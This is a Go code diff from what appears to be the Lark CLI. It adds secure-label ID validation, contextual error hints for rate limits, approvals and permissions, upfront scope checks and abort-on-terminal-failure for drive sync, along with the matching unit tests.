+	secureLabelOperationUpdate secureLabelOperation = "update"
+)
+
 var secureLabelTypes = permApplyTypes
 
 // DriveSecureLabelList lists secure labels available to the current user.
@@ -28,6 +36,9 @@ var DriveSecureLabelList = common.Shortcut{
 	Scopes:      []string{secureLabelReadScope},
 	AuthTypes:   []string{"user"},
 	HasFormat:   true,
+	Tips: []string{
+		"Use the `id` field from this command as --label-id for +secure-label-update; do not use the display name.",
+	},
 	Flags: []common.Flag{
 		{Name: "page-size", Type: "int", Default: "10", Desc: "page size, 1-10"},
 		{Name: "page-token", Desc: "pagination token from previous response"},
@@ -53,7 +64,7 @@ var DriveSecureLabelList = common.Shortcut{
 			nil,
 		)
 		if err != nil {
-			return err
+			return decorateSecureLabelError(err, secureLabelOperationList)
 		}
 		runtime.OutFormat(data, nil, nil)
 		return nil
@@ -68,13 +79,21 @@ var DriveSecureLabelUpdate = common.Shortcut{
 	Risk:        "write",
 	Scopes:      []string{secureLabelUpdateScope},
 	AuthTypes:   []string{"user"},
+	Tips: []string{
+		"Pass the numeric label id returned by +secure-label-list; display names like Public(D) are rejected.",
+		"Downgrading a secure label may require approval; retrying the same request will not bypass approval.",
+		"When updating many files, serialize requests and back off on rate_limit errors.",
+	},
 	Flags: []common.Flag{
 		{Name: "token", Desc: "target file token or document URL (docx/sheets/base/file/wiki/doc/mindnote/slides)", Required: true},
 		{Name: "type", Desc: "target type; auto-inferred from URL when omitted", Enum: secureLabelTypes},
 		{Name: "label-id", Desc: "secure label ID to set", Required: true},
 	},
 	Validate: func(ctx context.Context, runtime *common.RuntimeContext) error {
-		_, _, err := resolveSecureLabelTarget(runtime.Str("token"), runtime.Str("type"))
+		if _, _, err := resolveSecureLabelTarget(runtime.Str("token"), runtime.Str("type")); err != nil {
+			return err
+		}
+		_, err := normalizeSecureLabelID(runtime.Str("label-id"))
 		return err
 	},
 	DryRun: func(ctx context.Context, runtime *common.RuntimeContext) *common.DryRunAPI {
@@ -82,11 +101,15 @@ var DriveSecureLabelUpdate = common.Shortcut{
 		if err != nil {
 			return common.NewDryRunAPI().Set("error", err.Error())
 		}
+		labelID, err := normalizeSecureLabelID(runtime.Str("label-id"))
+		if err != nil {
+			return common.NewDryRunAPI().Set("error", err.Error())
+		}
 		return common.NewDryRunAPI().
 			Desc("Update Drive secure label").
 			PATCH("/open-apis/drive/v2/files/:file_token/secure_label").
 			Params(map[string]interface{}{"type": docType}).
-			Body(map[string]interface{}{"id": runtime.Str("label-id")}).
+			Body(map[string]interface{}{"id": labelID}).
 			Set("file_token", token)
 	},
 	Execute: func(ctx context.Context, runtime *common.RuntimeContext) error {
@@ -94,14 +117,18 @@ var DriveSecureLabelUpdate = common.Shortcut{
 		if err != nil {
 			return err
 		}
-		body := map[string]interface{}{"id": runtime.Str("label-id")}
+		labelID, err := normalizeSecureLabelID(runtime.Str("label-id"))
+		if err != nil {
+			return err
+		}
+		body := map[string]interface{}{"id": labelID}
 		data, err := runtime.CallAPITyped("PATCH",
 			fmt.Sprintf("/open-apis/drive/v2/files/%s/secure_label", validate.EncodePathSegment(token)),
 			map[string]interface{}{"type": docType},
 			body,
 		)
 		if err != nil {
-			return err
+			return decorateSecureLabelError(err, secureLabelOperationUpdate)
 		}
 		runtime.Out(data, nil)
 		return nil
@@ -122,3 +149,70 @@ func buildSecureLabelListParams(runtime *common.RuntimeContext) map[string]inter
 func resolveSecureLabelTarget(raw, explicitType string) (token, docType string, err error) {
 	return resolvePermApplyTarget(raw, explicitType)
 }
+
+// normalizeSecureLabelID trims a label id and rejects display names before the
+// request reaches Drive, where they otherwise surface as opaque JSON errors.
+func normalizeSecureLabelID(raw string) (string, error) {
+	labelID := strings.TrimSpace(raw)
+	if labelID == "" {
+		return "", errs.NewValidationError(errs.SubtypeInvalidArgument, "--label-id is required").
+			WithParam("--label-id")
+	}
+	for _, r := range labelID {
+		if r < '0' || r > '9' {
+			return "", errs.NewValidationError(errs.SubtypeInvalidArgument, "--label-id must be a numeric secure label ID, not a display name: %q", raw).
+				WithParam("--label-id").
+				WithHint("run `lark-cli drive +secure-label-list` and pass the numeric `id` value; do not pass label names like `Public(D)`")
+		}
+	}
+	return labelID, nil
+}
+
+// decorateSecureLabelError appends command-aware recovery guidance while
+// preserving upstream/classifier hints already attached to the typed error.
+func decorateSecureLabelError(err error, operation secureLabelOperation) error {
+	if err == nil {
+		return nil
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok {
+		return err
+	}
+	guidance := secureLabelErrorGuidance(p.Code, operation)
+	if guidance == "" {
+		return err
+	}
+	if p.Hint == "" {
+		p.Hint = guidance
+	} else if !strings.Contains(p.Hint, guidance) {
+		p.Hint = p.Hint + "; " + guidance
+	}
+	return err
+}
+
+// secureLabelErrorGuidance returns recovery guidance for secure-label API
+// failures whose generic code-level classification needs command context.
+func secureLabelErrorGuidance(code int, operation secureLabelOperation) string {
+	switch code {
+	case 99991400:
+		if operation == secureLabelOperationUpdate {
+			return "secure label updates are rate limited; retry later with exponential backoff and serialize bulk updates"
+		}
+		return "secure label listing is rate limited; retry later with exponential backoff"
+	case 1063013:
+		if operation == secureLabelOperationUpdate {
+			return "secure label downgrade requires approval; request approval or choose a non-downgrade label before retrying"
+		}
+	case 1063002:
+		if operation == secureLabelOperationUpdate {
+			return "the current user lacks permission to update this file's secure label; use a user with file and security-label permission"
+		}
+		return "the current user lacks permission to list secure labels; use a user with security-label read permission"
+	case 1063001, 99992402, 9499:
+		if operation == secureLabelOperationUpdate {
+			return "check --token/--type and pass a secure label ID from `lark-cli drive +secure-label-list`, not the display name"
+		}
+		return "check secure label list parameters such as --page-size, --page-token, and --lang"
+	}
+	return ""
+}

shortcuts/drive/drive_secure_label_test.go

@@ -5,9 +5,11 @@ package drive
 
 import (
 	"encoding/json"
+	"errors"
 	"strings"
 	"testing"
 
+	"github.com/larksuite/cli/errs"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/httpmock"
 )
@@ -90,13 +92,54 @@ func TestDriveSecureLabelList_ExecuteSuccess(t *testing.T) {
 	}
 }
 
+func TestDriveSecureLabelList_RateLimitPreservesUpstreamHint(t *testing.T) {
+	f, _, _, reg := cmdutil.TestFactory(t, driveTestConfig())
+	reg.Register(&httpmock.Stub{
+		Method: "GET",
+		URL:    "/open-apis/drive/v2/my_secure_labels?page_size=10",
+		Status: 429,
+		Body: map[string]interface{}{
+			"code": 99991400,
+			"msg":  "rate limit exceeded",
+			"error": map[string]interface{}{
+				"details": []interface{}{
+					map[string]interface{}{"value": "server says slow down"},
+				},
+			},
+		},
+	})
+
+	err := mountAndRunDrive(t, DriveSecureLabelList, []string{
+		"+secure-label-list",
+		"--as", "user",
+	}, f, nil)
+	if err == nil {
+		t.Fatal("expected rate limit error")
+	}
+	var apiErr *errs.APIError
+	if !errors.As(err, &apiErr) {
+		t.Fatalf("expected APIError, got %T: %v", err, err)
+	}
+	if apiErr.Subtype != errs.SubtypeRateLimit || apiErr.Code != 99991400 || !apiErr.Retryable {
+		t.Fatalf("problem = %+v, want code=99991400 subtype=rate_limit retryable=true", apiErr.Problem)
+	}
+	for _, want := range []string{"server says slow down", "secure label listing is rate limited"} {
+		if !strings.Contains(apiErr.Hint, want) {
+			t.Fatalf("hint missing %q: %q", want, apiErr.Hint)
+		}
+	}
+	if strings.Contains(apiErr.Hint, "updates are rate limited") {
+		t.Fatalf("list hint should not use update-specific wording: %q", apiErr.Hint)
+	}
+}
+
 func TestDriveSecureLabelUpdate_DryRunInfersTypeFromURL(t *testing.T) {
 	t.Parallel()
 	f, stdout, _, _ := cmdutil.TestFactory(t, driveTestConfig())
 	err := mountAndRunDrive(t, DriveSecureLabelUpdate, []string{
 		"+secure-label-update",
 		"--token", "https://example.feishu.cn/docx/doxTok123?from=share",
-		"--label-id", "7217780879644737539",
+		"--label-id", " 7217780879644737539 ",
 		"--dry-run", "--as", "user",
 	}, f, stdout)
 	if err != nil {
@@ -132,7 +175,7 @@ func TestDriveSecureLabelUpdate_ExecuteSuccess(t *testing.T) {
 		"+secure-label-update",
 		"--token", "doxTok123",
 		"--type", "docx",
-		"--label-id", "7217780879644737539",
+		"--label-id", " 7217780879644737539 ",
 		"--as", "user",
 	}, f, stdout)
 	if err != nil {
@@ -148,7 +191,32 @@ func TestDriveSecureLabelUpdate_ExecuteSuccess(t *testing.T) {
 	}
 }
 
-func TestDriveSecureLabelUpdate_DowngradeApprovalReturnsAPIError(t *testing.T) {
+func TestDriveSecureLabelUpdate_RejectsDisplayNameAsLabelID(t *testing.T) {
+	t.Parallel()
+	f, stdout, _, _ := cmdutil.TestFactory(t, driveTestConfig())
+	err := mountAndRunDrive(t, DriveSecureLabelUpdate, []string{
+		"+secure-label-update",
+		"--token", "doxTok123",
+		"--type", "docx",
+		"--label-id", "Public(D)",
+		"--as", "user",
+	}, f, stdout)
+	if err == nil {
+		t.Fatal("expected label id validation error")
+	}
+	var validationErr *errs.ValidationError
+	if !errors.As(err, &validationErr) {
+		t.Fatalf("expected ValidationError, got %T: %v", err, err)
+	}
+	if validationErr.Param != "--label-id" {
+		t.Fatalf("Param = %q, want --label-id", validationErr.Param)
+	}
+	if !strings.Contains(validationErr.Hint, "+secure-label-list") {
+		t.Fatalf("hint missing list guidance: %q", validationErr.Hint)
+	}
+}
+
+func TestDriveSecureLabelUpdate_DowngradeApprovalReturnsFailedPrecondition(t *testing.T) {
 	f, _, _, reg := cmdutil.TestFactory(t, driveTestConfig())
 	reg.Register(&httpmock.Stub{
 		Method: "PATCH",
@@ -169,7 +237,78 @@ func TestDriveSecureLabelUpdate_DowngradeApprovalReturnsAPIError(t *testing.T) {
 	if err == nil {
 		t.Fatal("expected 1063013 error")
 	}
-	if !strings.Contains(err.Error(), "Security label downgrade requires approval") {
-		t.Fatalf("expected raw API error message, got: %v", err)
+	var validationErr *errs.ValidationError
+	if !errors.As(err, &validationErr) {
+		t.Fatalf("expected ValidationError, got %T: %v", err, err)
+	}
+	if validationErr.Subtype != errs.SubtypeFailedPrecondition || validationErr.Code != 1063013 {
+		t.Fatalf("problem = %+v, want code=1063013 subtype=failed_precondition", validationErr.Problem)
+	}
+	if !strings.Contains(validationErr.Hint, "approval") {
+		t.Fatalf("hint missing approval guidance: %q", validationErr.Hint)
+	}
+}
+
+func TestDriveSecureLabelUpdate_InvalidJSONTypeGetsLabelHint(t *testing.T) {
+	f, _, _, reg := cmdutil.TestFactory(t, driveTestConfig())
+	reg.Register(&httpmock.Stub{
+		Method: "PATCH",
+		URL:    "/open-apis/drive/v2/files/doxTok123/secure_label",
+		Status: 400,
+		Body: map[string]interface{}{
+			"code": 9499, "msg": "Invalid parameter type in json: id",
+		},
+	})
+
+	err := mountAndRunDrive(t, DriveSecureLabelUpdate, []string{
+		"+secure-label-update",
+		"--token", "https://example.feishu.cn/docx/doxTok123",
+		"--label-id", "7217780879644737539",
+		"--as", "user",
+	}, f, nil)
+	if err == nil {
+		t.Fatal("expected 9499 error")
+	}
+	var apiErr *errs.APIError
+	if !errors.As(err, &apiErr) {
+		t.Fatalf("expected APIError, got %T: %v", err, err)
+	}
+	if apiErr.Subtype != errs.SubtypeInvalidParameters || apiErr.Code != 9499 {
+		t.Fatalf("problem = %+v, want code=9499 subtype=invalid_parameters", apiErr.Problem)
+	}
+	if !strings.Contains(apiErr.Hint, "+secure-label-list") {
+		t.Fatalf("hint missing secure label list guidance: %q", apiErr.Hint)
+	}
+}
+
+func TestDriveSecureLabelUpdate_RateLimitIsRetryableWithBackoffHint(t *testing.T) {
+	f, _, _, reg := cmdutil.TestFactory(t, driveTestConfig())
+	reg.Register(&httpmock.Stub{
+		Method: "PATCH",
+		URL:    "/open-apis/drive/v2/files/doxTok123/secure_label",
+		Status: 429,
+		Body: map[string]interface{}{
+			"code": 99991400, "msg": "rate limit exceeded",
+		},
+	})
+
+	err := mountAndRunDrive(t, DriveSecureLabelUpdate, []string{
+		"+secure-label-update",
+		"--token", "https://example.feishu.cn/docx/doxTok123",
+		"--label-id", "7217780879644737539",
+		"--as", "user",
+	}, f, nil)
+	if err == nil {
+		t.Fatal("expected rate limit error")
+	}
+	var apiErr *errs.APIError
+	if !errors.As(err, &apiErr) {
+		t.Fatalf("expected APIError, got %T: %v", err, err)
+	}
+	if apiErr.Subtype != errs.SubtypeRateLimit || apiErr.Code != 99991400 || !apiErr.Retryable {
+		t.Fatalf("problem = %+v, want code=99991400 subtype=rate_limit retryable=true", apiErr.Problem)
+	}
+	if !strings.Contains(apiErr.Hint, "backoff") {
+		t.Fatalf("hint missing backoff guidance: %q", apiErr.Hint)
 	}
 }

shortcuts/drive/drive_sync.go

@@ -25,12 +25,21 @@ const (
 	driveSyncOnConflictAsk        = "ask"
 )
 
+func driveSyncActionScopes() []string {
+	return []string{"drive:file:download", "drive:file:upload", "space:folder:create"}
+}
+
 type driveSyncItem struct {
-	RelPath   string `json:"rel_path"`
-	FileToken string `json:"file_token,omitempty"`
-	Action    string `json:"action"`
-	Direction string `json:"direction,omitempty"` // "pull" or "push"
-	Error     string `json:"error,omitempty"`
+	RelPath    string `json:"rel_path"`
+	FileToken  string `json:"file_token,omitempty"`
+	Action     string `json:"action"`
+	Direction  string `json:"direction,omitempty"` // "pull" or "push"
+	Error      string `json:"error,omitempty"`
+	Phase      string `json:"phase,omitempty"`
+	ErrorClass string `json:"error_class,omitempty"`
+	Code       int    `json:"code,omitempty"`
+	Subtype    string `json:"subtype,omitempty"`
+	Retryable  *bool  `json:"retryable,omitempty"`
 }
 
 // DriveSync performs a two-way sync between a local directory and a Drive
@@ -66,6 +75,7 @@ var DriveSync = common.Shortcut{
 		"Default --on-conflict=remote-wins pulls the remote version when both sides changed a file. Use local-wins to push instead, keep-both to rename and keep both copies, or ask for interactive resolution.",
 		"Pass --quick for faster best-effort diff detection using modified_time instead of SHA-256 hash (no remote file downloads needed during diffing).",
 		"Because +sync acts on the diff, --quick can still pull, overwrite, or rename files when timestamps differ even if file contents are actually unchanged.",
+		"Actual sync execution pre-flights download, upload, and folder-create scopes before listing or walking, so missing grants fail before any partial sync can start.",
 		"Only entries with type=file are synced; online docs (docx, sheet, bitable, mindnote, slides) and shortcuts are skipped.",
 	},
 	Validate: func(ctx context.Context, runtime *common.RuntimeContext) error {
@@ -110,10 +120,8 @@ var DriveSync = common.Shortcut{
 			duplicateRemote = driveDuplicateRemoteFail
 		}
 		quick := runtime.Bool("quick")
-		if !quick {
-			if err := runtime.EnsureScopes([]string{"drive:file:download"}); err != nil {
-				return err
-			}
+		if err := runtime.EnsureScopes(driveSyncActionScopes()); err != nil {
+			return err
 		}
 
 		safeRoot, err := validate.SafeInputPath(localDir)
@@ -262,18 +270,6 @@ var DriveSync = common.Shortcut{
 		var pulled, pushed, skipped, failed int
 		items := make([]driveSyncItem, 0)
 
-		if quick && driveSyncNeedsDownloadScope(newRemote, modified, conflictResolutions) {
-			if err := runtime.EnsureScopes([]string{"drive:file:download"}); err != nil {
-				return err
-			}
-		}
-		plannedUploads := driveSyncPlannedUploadPaths(newLocal, modified, conflictResolutions)
-		if len(plannedUploads) > 0 {
-			if err := runtime.EnsureScopes([]string{"drive:file:upload"}); err != nil {
-				return err
-			}
-		}
-
 		// Build push infrastructure: local walk for push + remote views + folder cache.
 		folderCache := map[string]string{"": folderToken}
 		for relDir, entry := range remoteFolders {
@@ -287,20 +283,18 @@ var DriveSync = common.Shortcut{
 			return err
 		}
 
-		if driveSyncNeedsCreateScope(plannedUploads, localDirs, folderCache) {
-			if err := runtime.EnsureScopes([]string{"space:folder:create"}); err != nil {
-				return err
-			}
-		}
-
 		// Mirror local directory structure first (same as +push), so
 		// empty local directories are not silently dropped.
 		for _, relDir := range localDirs {
+			if driveSyncHasTerminalFailure(items) {
+				break
+			}
 			if _, alreadyRemote := folderCache[relDir]; alreadyRemote {
 				continue
 			}
 			if _, ensureErr := drivePushEnsureFolder(ctx, runtime, folderToken, relDir, folderCache); ensureErr != nil {
-				items = append(items, driveSyncItem{RelPath: relDir, Action: "failed", Direction: "push", Error: ensureErr.Error()})
+				item, _ := driveSyncFailedItem(relDir, "", "failed", "push", "create_folder", ensureErr)
+				items = append(items, item)
 				failed++
 				continue
 			}
@@ -310,6 +304,9 @@ var DriveSync = common.Shortcut{
 
 		// 2a. Pull new_remote files.
 		for _, entry := range newRemote {
+			if driveSyncHasTerminalFailure(items) {
+				break
+			}
 			targetFile, ok := pullRemoteFiles[entry.RelPath]
 			if !ok {
 				// Non-file type (doc, shortcut, etc.) — skip.
@@ -317,8 +314,13 @@ var DriveSync = common.Shortcut{
 			}
 			target := filepath.Join(rootRelToCwd, entry.RelPath)
 			if err := drivePullDownload(ctx, runtime, targetFile.DownloadToken, target, targetFile.ModifiedTime); err != nil {
-				items = append(items, driveSyncItem{RelPath: entry.RelPath, FileToken: entry.FileToken, Action: "failed", Direction: "pull", Error: err.Error()})
+				item, terminal := driveSyncFailedItem(entry.RelPath, entry.FileToken, "failed", "pull", "download", err)
+				items = append(items, item)
 				failed++
+				if terminal {
+					fmt.Fprintf(runtime.IO().ErrOut, "Aborting +sync after terminal %s failure: %v\n", item.Phase, err)
+					break
+				}
 				continue
 			}
 			items = append(items, driveSyncItem{RelPath: entry.RelPath, FileToken: entry.FileToken, Action: "downloaded", Direction: "pull"})
@@ -327,6 +329,9 @@ var DriveSync = common.Shortcut{
 
 		// 2b. Push new_local files.
 		for _, entry := range newLocal {
+			if driveSyncHasTerminalFailure(items) {
+				break
+			}
 			localFile, ok := pushLocalFiles[entry.RelPath]
 			if !ok {
 				items = append(items, driveSyncItem{RelPath: entry.RelPath, Action: "skipped", Direction: "push", Error: "local file disappeared during sync"})
@@ -336,14 +341,20 @@ var DriveSync = common.Shortcut{
 			parentRel := drivePushParentRel(entry.RelPath)
 			parentToken, ensureErr := drivePushEnsureFolder(ctx, runtime, folderToken, parentRel, folderCache)
 			if ensureErr != nil {
-				items = append(items, driveSyncItem{RelPath: entry.RelPath, Action: "failed", Direction: "push", Error: ensureErr.Error()})
+				item, _ := driveSyncFailedItem(entry.RelPath, "", "failed", "push", "create_folder", ensureErr)
+				items = append(items, item)
 				failed++
 				continue
 			}
 			token, _, upErr := drivePushUploadFile(ctx, runtime, localFile, "", parentToken)
 			if upErr != nil {
-				items = append(items, driveSyncItem{RelPath: entry.RelPath, Action: "failed", Direction: "push", Error: upErr.Error()})
+				item, terminal := driveSyncFailedItem(entry.RelPath, token, "failed", "push", "upload", upErr)
+				items = append(items, item)
 				failed++
+				if terminal {
+					fmt.Fprintf(runtime.IO().ErrOut, "Aborting +sync after terminal %s failure: %v\n", item.Phase, upErr)
+					break
+				}
 				continue
 			}
 			items = append(items, driveSyncItem{RelPath: entry.RelPath, FileToken: token, Action: "uploaded", Direction: "push"})
@@ -352,6 +363,9 @@ var DriveSync = common.Shortcut{
 
 		// 2c. Resolve modified files by --on-conflict strategy.
 		for _, entry := range modified {
+			if driveSyncHasTerminalFailure(items) {
+				break
+			}
 			remoteFile := remoteFiles[entry.RelPath]
 			localFile, hasLocal := pushLocalFiles[entry.RelPath]
 			if !hasLocal {
@@ -379,8 +393,13 @@ var DriveSync = common.Shortcut{
 				}
 				target := filepath.Join(rootRelToCwd, entry.RelPath)
 				if err := drivePullDownload(ctx, runtime, targetFile.DownloadToken, target, targetFile.ModifiedTime); err != nil {
-					items = append(items, driveSyncItem{RelPath: entry.RelPath, FileToken: entry.FileToken, Action: "failed", Direction: "pull", Error: err.Error()})
+					item, terminal := driveSyncFailedItem(entry.RelPath, entry.FileToken, "failed", "pull", "download", err)
+					items = append(items, item)
 					failed++
+					if terminal {
+						fmt.Fprintf(runtime.IO().ErrOut, "Aborting +sync after terminal %s failure: %v\n", item.Phase, err)
+						break
+					}
 					continue
 				}
 				items = append(items, driveSyncItem{RelPath: entry.RelPath, FileToken: entry.FileToken, Action: "downloaded", Direction: "pull"})
@@ -396,7 +415,8 @@ var DriveSync = common.Shortcut{
 				}
 				parentToken, parentErr := drivePushEnsureFolder(ctx, runtime, folderToken, drivePushParentRel(entry.RelPath), folderCache)
 				if parentErr != nil {
-					items = append(items, driveSyncItem{RelPath: entry.RelPath, FileToken: existingToken, Action: "failed", Direction: "push", Error: parentErr.Error()})
+					item, _ := driveSyncFailedItem(entry.RelPath, existingToken, "failed", "push", "create_folder", parentErr)
+					items = append(items, item)
 					failed++
 					continue
 				}
@@ -411,8 +431,13 @@ var DriveSync = common.Shortcut{
 					if failedToken == "" {
 						failedToken = existingToken
 					}
-					items = append(items, driveSyncItem{RelPath: entry.RelPath, FileToken: failedToken, Action: "failed", Direction: "push", Error: upErr.Error()})
+					item, terminal := driveSyncFailedItem(entry.RelPath, failedToken, "failed", "push", "upload", upErr)
+					items = append(items, item)
 					failed++
+					if terminal {
+						fmt.Fprintf(runtime.IO().ErrOut, "Aborting +sync after terminal %s failure: %v\n", item.Phase, upErr)
+						break
+					}
 					continue
 				}
 				items = append(items, driveSyncItem{RelPath: entry.RelPath, FileToken: token, Action: "overwritten", Direction: "push"})
@@ -433,7 +458,8 @@ var DriveSync = common.Shortcut{
 				}
 				suffixedRel, err := relPathWithUniqueFileTokenSuffix(entry.RelPath, remoteFile.FileToken, occupied)
 				if err != nil {
-					items = append(items, driveSyncItem{RelPath: entry.RelPath, Action: "failed", Direction: "conflict", Error: err.Error()})
+					item, _ := driveSyncFailedItem(entry.RelPath, "", "failed", "conflict", "conflict", err)
+					items = append(items, item)
 					failed++
 					continue
 				}
@@ -441,7 +467,9 @@ var DriveSync = common.Shortcut{
 				oldAbsPath := filepath.Join(safeRoot, filepath.FromSlash(entry.RelPath))
 				newAbsPath := filepath.Join(safeRoot, filepath.FromSlash(suffixedRel))
 				if err := os.Rename(oldAbsPath, newAbsPath); err != nil { //nolint:forbidigo // shortcuts cannot import internal/vfs (depguard rule shortcuts-no-vfs); safeRoot is validated.
-					items = append(items, driveSyncItem{RelPath: entry.RelPath, Action: "failed", Direction: "conflict", Error: fmt.Sprintf("rename local: %s", err)})
+					renameErr := errs.NewInternalError(errs.SubtypeFileIO, "rename local: %s", err).WithCause(err)
+					item, _ := driveSyncFailedItem(entry.RelPath, "", "failed", "conflict", "conflict", renameErr)
+					items = append(items, item)
 					failed++
 					continue
 				}
@@ -454,19 +482,30 @@ var DriveSync = common.Shortcut{
 					if rollbackErr != nil {
 						errMsg += "; rollback failed: " + rollbackErr.Error()
 					}
-					items = append(items, driveSyncItem{RelPath: entry.RelPath, Action: "failed", Direction: "pull", Error: errMsg})
+					notFoundErr := errs.NewAPIError(errs.SubtypeNotFound, "%s", errMsg)
+					item, _ := driveSyncFailedItem(entry.RelPath, "", "failed", "pull", "download", notFoundErr)
+					items = append(items, item)
 					failed++
 					continue
 				}
 				target := filepath.Join(rootRelToCwd, entry.RelPath)
 				if err := drivePullDownload(ctx, runtime, targetFile.DownloadToken, target, targetFile.ModifiedTime); err != nil {
+					downloadErr := err
 					rollbackErr := driveSyncRollbackRenamedLocal(oldAbsPath, newAbsPath)
 					errMsg := err.Error()
 					if rollbackErr != nil {
 						errMsg += "; rollback failed: " + rollbackErr.Error()
 					}
-					items = append(items, driveSyncItem{RelPath: entry.RelPath, FileToken: entry.FileToken, Action: "failed", Direction: "pull", Error: errMsg})
+					item, terminal := driveSyncFailedItem(entry.RelPath, entry.FileToken, "failed", "pull", "download", downloadErr)
+					if rollbackErr != nil {
+						item.Error = errMsg
+					}
+					items = append(items, item)
 					failed++
+					if terminal {
+						fmt.Fprintf(runtime.IO().ErrOut, "Aborting +sync after terminal %s failure: %v\n", item.Phase, downloadErr)
+						break
+					}
 					continue
 				}
 				items = append(items, driveSyncItem{RelPath: entry.RelPath, Action: "renamed_local", Direction: "conflict"})
@@ -492,6 +531,7 @@ var DriveSync = common.Shortcut{
 				"pushed":  pushed,
 				"skipped": skipped,
 				"failed":  failed,
+				"aborted": driveSyncHasTerminalFailure(items),
 			},
 			"items": items,
 		}
@@ -520,6 +560,32 @@ func driveSyncStatusRemoteFiles(pullRemoteFiles map[string]drivePullTarget) map[
 	return remoteFiles
 }
 
+func driveSyncFailedItem(relPath, fileToken, action, direction, phase string, err error) (driveSyncItem, bool) {
+	decision := driveClassifyBatchFailure(err)
+	item := driveSyncItem{
+		RelPath:    relPath,
+		FileToken:  fileToken,
+		Action:     action,
+		Direction:  direction,
+		Error:      err.Error(),
+		Phase:      phase,
+		ErrorClass: decision.Class,
+		Code:       decision.Code,
+		Subtype:    decision.Subtype,
+		Retryable:  driveBoolPtr(decision.Retryable),
+	}
+	return item, decision.Terminal
+}
+
+func driveSyncHasTerminalFailure(items []driveSyncItem) bool {
+	for _, item := range items {
+		if driveTerminalBatchErrorClass(item.ErrorClass) {
+			return true
+		}
+	}
+	return false
+}
+
 // driveSyncAskConflict prompts the user for a conflict resolution strategy
 // for a single file. Returns the strategy string, or empty string if the
 // user chose to skip.
@@ -558,51 +624,6 @@ func driveSyncAskConflict(relPath string, runtime *common.RuntimeContext) (strin
 	}
 }
 
-func driveSyncNeedsDownloadScope(newRemote, modified []driveStatusEntry, conflictResolutions map[string]string) bool {
-	if len(newRemote) > 0 {
-		return true
-	}
-	for _, entry := range modified {
-		switch conflictResolutions[entry.RelPath] {
-		case driveSyncOnConflictRemoteWins, driveSyncOnConflictKeepBoth:
-			return true
-		}
-	}
-	return false
-}
-
-func driveSyncPlannedUploadPaths(newLocal, modified []driveStatusEntry, conflictResolutions map[string]string) []string {
-	planned := make([]string, 0, len(newLocal)+len(modified))
-	for _, entry := range newLocal {
-		planned = append(planned, entry.RelPath)
-	}
-	for _, entry := range modified {
-		if conflictResolutions[entry.RelPath] == driveSyncOnConflictLocalWins {
-			planned = append(planned, entry.RelPath)
-		}
-	}
-	return planned
-}
-
-func driveSyncNeedsCreateScope(uploadPaths []string, localDirs []string, folderCache map[string]string) bool {
-	for _, relPath := range uploadPaths {
-		parentRel := drivePushParentRel(relPath)
-		if parentRel == "" {
-			continue
-		}
-		if _, ok := folderCache[parentRel]; !ok {
-			return true
-		}
-	}
-	// Empty local directories also need create_folder if not already on Drive.
-	for _, relDir := range localDirs {
-		if _, ok := folderCache[relDir]; !ok {
-			return true
-		}
-	}
-	return false
-}
-
 func driveSyncRollbackRenamedLocal(oldAbsPath, newAbsPath string) error {
 	if info, err := os.Stat(oldAbsPath); err == nil { //nolint:forbidigo // shortcuts cannot import internal/vfs (depguard rule shortcuts-no-vfs); safeRoot is validated.
 		if info.IsDir() {

shortcuts/drive/drive_sync_test.go

@@ -311,6 +311,71 @@ func TestDriveSyncRemoteWinsPullsNewRemoteAndPushesNewLocal(t *testing.T) {
 	}
 }
 
+func TestDriveSyncAbortsAfterNewRemoteDownloadForbidden(t *testing.T) {
+	syncTestConfig := &core.CliConfig{
+		AppID: "drive-sync-forbidden", AppSecret: "test-secret", Brand: core.BrandFeishu,
+	}
+	f, stdout, _, reg := cmdutil.TestFactory(t, syncTestConfig)
+
+	tmpDir := t.TempDir()
+	withDriveWorkingDir(t, tmpDir)
+	if err := os.MkdirAll("local", 0o755); err != nil {
+		t.Fatalf("MkdirAll: %v", err)
+	}
+
+	reg.Register(&httpmock.Stub{
+		Method: "GET",
+		URL:    "folder_token=folder_root",
+		Body: map[string]interface{}{
+			"code": 0, "msg": "ok",
+			"data": map[string]interface{}{
+				"files": []interface{}{
+					map[string]interface{}{"token": "tok_a", "name": "a.txt", "type": "file", "modified_time": "100"},
+					map[string]interface{}{"token": "tok_b", "name": "b.txt", "type": "file", "modified_time": "100"},
+				},
+				"has_more": false,
+			},
+		},
+	})
+	reg.Register(&httpmock.Stub{
+		Method:  "GET",
+		URL:     "/open-apis/drive/v1/files/tok_a/download",
+		Status:  http.StatusForbidden,
+		RawBody: []byte("forbidden"),
+	})
+
+	err := mountAndRunDrive(t, DriveSync, []string{
+		"+sync",
+		"--local-dir", "local",
+		"--folder-token", "folder_root",
+		"--quick",
+		"--as", "bot",
+	}, f, stdout)
+	assertDriveSyncPartialFailure(t, err)
+
+	summary := driveSyncStdoutSummary(t, stdout.Bytes())
+	if got := summary["aborted"]; got != true {
+		t.Fatalf("summary.aborted = %v, want true", got)
+	}
+	if got := summary["failed"]; got != float64(1) {
+		t.Fatalf("summary.failed = %v, want 1", got)
+	}
+	items := driveSyncStdoutItems(t, stdout.Bytes())
+	if len(items) != 1 {
+		t.Fatalf("items len = %d, want 1; items=%#v", len(items), items)
+	}
+	item := items[0]
+	if item.RelPath != "a.txt" || item.Direction != "pull" || item.Phase != "download" || item.ErrorClass != "permission_denied" {
+		t.Fatalf("unexpected failed item: %#v", item)
+	}
+	if item.Code != http.StatusForbidden || item.Retryable == nil || *item.Retryable {
+		t.Fatalf("unexpected failure classification: %#v", item)
+	}
+	if _, statErr := os.Stat(filepath.Join("local", "b.txt")); !os.IsNotExist(statErr) {
+		t.Fatalf("b.txt should not be downloaded after terminal permission failure; stat err=%v", statErr)
+	}
+}
+
 // TestDriveSyncLocalWinsPushesOverRemote verifies that --on-conflict=local-wins
 // pushes the local version over the remote file.
 func TestDriveSyncLocalWinsPushesOverRemote(t *testing.T) {
@@ -1552,11 +1617,11 @@ func TestDriveSyncDryRunQuickAcceptsMetadataOnlyScope(t *testing.T) {
 	}
 }
 
-func TestDriveSyncExactRemoteWinsAcceptsDownloadOnlyScope(t *testing.T) {
+func TestDriveSyncPreflightsActionScopesBeforeListing(t *testing.T) {
 	syncTestConfig := &core.CliConfig{
 		AppID: "drive-sync-download-scope-only", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	}
-	f, stdout, _, reg := cmdutil.TestFactory(t, syncTestConfig)
+	f, stdout, _, _ := cmdutil.TestFactory(t, syncTestConfig)
